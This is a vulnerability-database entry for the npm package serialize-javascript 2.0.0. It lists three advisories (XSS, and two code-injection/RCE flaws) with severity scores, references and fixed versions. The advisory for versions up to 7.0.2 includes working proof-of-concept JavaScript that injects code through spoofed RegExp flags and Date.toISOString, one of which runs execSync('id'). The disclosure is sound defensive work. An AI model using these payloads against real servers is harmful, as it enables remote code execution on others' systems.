Lookup for vulnerable packages by Package URL.

Purlpkg:npm/serialize-javascript@2.0.0
Typenpm
Namespace
Nameserialize-javascript
Version2.0.0
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version7.0.3
Latest_non_vulnerable_version7.0.5
Affected_by_vulnerabilities
0
url VCID-3cbb-ghjz-fyhn
vulnerability_id VCID-3cbb-ghjz-fyhn
summary
Cross-Site Scripting in serialize-javascript
Versions of `serialize-javascript` prior to 2.1.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize serialized regular expressions. This vulnerability does not affect Node.js applications.


## Recommendation

Upgrade to version 2.1.1 or later.
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2019-16769.json
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2019-16769.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2019-16769
reference_id
reference_type
scores
0
value 0.00406
scoring_system epss
scoring_elements 0.61099
published_at 2026-04-21T12:55:00Z
1
value 0.00406
scoring_system epss
scoring_elements 0.61021
published_at 2026-04-02T12:55:00Z
2
value 0.00406
scoring_system epss
scoring_elements 0.6105
published_at 2026-04-04T12:55:00Z
3
value 0.00406
scoring_system epss
scoring_elements 0.61016
published_at 2026-04-07T12:55:00Z
4
value 0.00406
scoring_system epss
scoring_elements 0.61064
published_at 2026-04-08T12:55:00Z
5
value 0.00406
scoring_system epss
scoring_elements 0.6108
published_at 2026-04-09T12:55:00Z
6
value 0.00406
scoring_system epss
scoring_elements 0.61101
published_at 2026-04-11T12:55:00Z
7
value 0.00406
scoring_system epss
scoring_elements 0.61087
published_at 2026-04-12T12:55:00Z
8
value 0.00406
scoring_system epss
scoring_elements 0.61068
published_at 2026-04-13T12:55:00Z
9
value 0.00406
scoring_system epss
scoring_elements 0.6111
published_at 2026-04-16T12:55:00Z
10
value 0.00406
scoring_system epss
scoring_elements 0.61116
published_at 2026-04-18T12:55:00Z
11
value 0.00406
scoring_system epss
scoring_elements 0.60945
published_at 2026-04-01T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2019-16769
2
reference_url https://github.com/advisories/GHSA-h9rv-jmmf-4pgx
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/advisories/GHSA-h9rv-jmmf-4pgx
3
reference_url https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-h9rv-jmmf-4pgx
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-h9rv-jmmf-4pgx
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2019-16769
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2019-16769
5
reference_url https://www.npmjs.com/advisories/1426
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://www.npmjs.com/advisories/1426
6
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=1848092
reference_id 1848092
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=1848092
7
reference_url https://access.redhat.com/errata/RHSA-2020:2796
reference_id RHSA-2020:2796
reference_type
scores
url https://access.redhat.com/errata/RHSA-2020:2796
8
reference_url https://access.redhat.com/errata/RHSA-2020:4298
reference_id RHSA-2020:4298
reference_type
scores
url https://access.redhat.com/errata/RHSA-2020:4298
fixed_packages
0
url pkg:npm/serialize-javascript@2.1.1
purl pkg:npm/serialize-javascript@2.1.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4zkq-sw4a-e7c3
1
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@2.1.1
aliases CVE-2019-16769, GHSA-h9rv-jmmf-4pgx
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-3cbb-ghjz-fyhn
1
url VCID-4zkq-sw4a-e7c3
vulnerability_id VCID-4zkq-sw4a-e7c3
summary
Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()
### Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.

If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.

```javascript
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
```

```javascript
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution
```

```javascript
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
```

### Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
references
0
reference_url https://github.com/advisories/GHSA-hxcc-f52p-wc94
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/advisories/GHSA-hxcc-f52p-wc94
1
reference_url https://github.com/yahoo/serialize-javascript
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/yahoo/serialize-javascript
2
reference_url https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9
3
reference_url https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
4
reference_url https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2020-7660
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2020-7660
6
reference_url https://github.com/advisories/GHSA-5c6j-r48x-rmvq
reference_id GHSA-5c6j-r48x-rmvq
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-5c6j-r48x-rmvq
fixed_packages
0
url pkg:npm/serialize-javascript@7.0.3
purl pkg:npm/serialize-javascript@7.0.3
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@7.0.3
aliases GHSA-5c6j-r48x-rmvq
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-4zkq-sw4a-e7c3
2
url VCID-k6ny-gfg9-8ugd
vulnerability_id VCID-k6ny-gfg9-8ugd
summary
Insecure serialization leading to RCE in serialize-javascript
serialize-javascript prior to 3.1.0 allows remote attackers to inject arbitrary code via the function "deleteFunctions" within "index.js". 

An object such as `{"foo": /1"/, "bar": "a\"@__R-<UID>-0__@"}` was serialized as `{"foo": /1"/, "bar": "a\/1"/}`, which allows an attacker to escape the `bar` key. This requires the attacker to control the values of both `foo` and `bar` and guess the value of `<UID>`. The UID has a keyspace of approximately 4 billion making it a realistic network attack.
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-7660.json
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-7660.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2020-7660
reference_id
reference_type
scores
0
value 0.02901
scoring_system epss
scoring_elements 0.86367
published_at 2026-04-21T12:55:00Z
1
value 0.02901
scoring_system epss
scoring_elements 0.86336
published_at 2026-04-08T12:55:00Z
2
value 0.02901
scoring_system epss
scoring_elements 0.86346
published_at 2026-04-09T12:55:00Z
3
value 0.02901
scoring_system epss
scoring_elements 0.8636
published_at 2026-04-11T12:55:00Z
4
value 0.02901
scoring_system epss
scoring_elements 0.86358
published_at 2026-04-12T12:55:00Z
5
value 0.02901
scoring_system epss
scoring_elements 0.86353
published_at 2026-04-13T12:55:00Z
6
value 0.02901
scoring_system epss
scoring_elements 0.86369
published_at 2026-04-16T12:55:00Z
7
value 0.02901
scoring_system epss
scoring_elements 0.86374
published_at 2026-04-18T12:55:00Z
8
value 0.02901
scoring_system epss
scoring_elements 0.8629
published_at 2026-04-01T12:55:00Z
9
value 0.02901
scoring_system epss
scoring_elements 0.86299
published_at 2026-04-02T12:55:00Z
10
value 0.02901
scoring_system epss
scoring_elements 0.86317
published_at 2026-04-04T12:55:00Z
11
value 0.02901
scoring_system epss
scoring_elements 0.86318
published_at 2026-04-07T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2020-7660
2
reference_url https://github.com/yahoo/serialize-javascript
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/yahoo/serialize-javascript
3
reference_url https://github.com/yahoo/serialize-javascript/commit/f21a6fb3ace2353413761e79717b2d210ba6ccbd
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/yahoo/serialize-javascript/commit/f21a6fb3ace2353413761e79717b2d210ba6ccbd
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2020-7660
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2020-7660
5
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=1844228
reference_id 1844228
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=1844228
6
reference_url https://access.redhat.com/errata/RHSA-2020:2796
reference_id RHSA-2020:2796
reference_type
scores
url https://access.redhat.com/errata/RHSA-2020:2796
7
reference_url https://access.redhat.com/errata/RHSA-2020:2861
reference_id RHSA-2020:2861
reference_type
scores
url https://access.redhat.com/errata/RHSA-2020:2861
fixed_packages
0
url pkg:npm/serialize-javascript@3.1.0
purl pkg:npm/serialize-javascript@3.1.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4zkq-sw4a-e7c3
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@3.1.0
aliases CVE-2020-7660, GHSA-hxcc-f52p-wc94
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-k6ny-gfg9-8ugd
Fixing_vulnerabilities
Risk_score4.0
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@2.0.0